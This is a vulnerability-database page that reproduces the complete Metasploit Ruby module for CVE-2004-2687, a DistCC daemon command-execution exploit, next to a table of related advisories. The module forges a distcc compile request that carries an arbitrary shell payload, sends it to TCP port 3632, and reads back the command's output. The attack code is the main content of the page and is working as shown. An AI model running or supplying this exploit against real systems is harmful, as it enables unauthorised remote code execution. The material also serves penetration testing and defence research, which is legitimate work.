Lucene search
K

DistCC Daemon Command Execution

🗓️ 01 Feb 2002 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

This module exploits a vulnerability in DistCC to execute commands on vulnerable systems.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2004-2687
31 Dec 200400:00
attackerkb
Information Security Automation
Vulnerability Management at Tinkoff Fintech School
4 Mar 201910:38
avleonov
GithubExploit
Exploit for CVE-2004-2687
20 Apr 202622:50
githubexploit
Circl
CVE-2004-2687
29 May 201815:50
circl
CVE
CVE-2004-2687
23 Sep 200723:00
cve
Cvelist
CVE-2004-2687
23 Sep 200723:00
cvelist
Debian CVE
CVE-2004-2687
23 Sep 200723:00
debiancve
Exploit DB
DistCC Daemon Command Execution
3 Jul 201000:00
exploitdb
Exploit DB
DistCC Daemon - Command Execution (Metasploit)
1 Feb 200200:00
exploitdb
exploitpack
DistCC Daemon - Command Execution (Metasploit)
1 Feb 200200:00
exploitpack
Rows per page

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info, 
            'Name'           => 'DistCC Daemon Command Execution',
            'Description'    => %q{
                This module uses a documented security weakness to execute
                arbitrary commands on any system running distccd.
                    
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2004-2687'],
                    [ 'OSVDB', '13378' ],
                    [ 'URL', 'http://distcc.samba.org/security.html'],

                ],
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,                
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Targets'        => 
                [
                    [ 'Automatic Target', { }]
                ],
            'DefaultTarget' => 0))
            
            register_options(
                [
                    Opt::RPORT(3632)
                ], self.class)          
    end

    def exploit
        connect

        distcmd = dist_cmd("sh", "-c", payload.encoded);
        sock.put(distcmd)
        
        dtag = rand_text_alphanumeric(10)
        sock.put("DOTI0000000A#{dtag}\n")
        
        res = sock.get_once(24, 5)
        
        if !(res and res.length == 24)
            print_status("The remote distccd did not reply to our request")
            disconnect
            return
        end
        
        # Check STDERR
        res = sock.get_once(4, 5)
        res = sock.get_once(8, 5)
        len = [res].pack("H*").unpack("N")[0]
        
        if (len > 0)
            res = sock.get_once(len, 5)
            res.split("\n").each do |line|
                print_status("stderr: #{line}")
            end
        end

        # Check STDOUT
        res = sock.get_once(4, 5)
        res = sock.get_once(8, 5)
        len = [res].pack("H*").unpack("N")[0]
        
        if (len > 0)
            res = sock.get_once(len, 5)
            res.split("\n").each do |line|
                print_status("stdout: #{line}")
            end
        end
                
        handler
        disconnect
    end
    
    
    # Generate a distccd command
    def dist_cmd(*args)
    
        # Convince distccd that this is a compile
        args.concat(%w{# -c main.c -o main.o})
        
        # Set distcc 'magic fairy dust' and argument count
        res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
        
        # Set the command arguments
        args.each do |arg|
            res << sprintf("ARGV%.8x%s", arg.length, arg)
        end
        
        return res
    end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation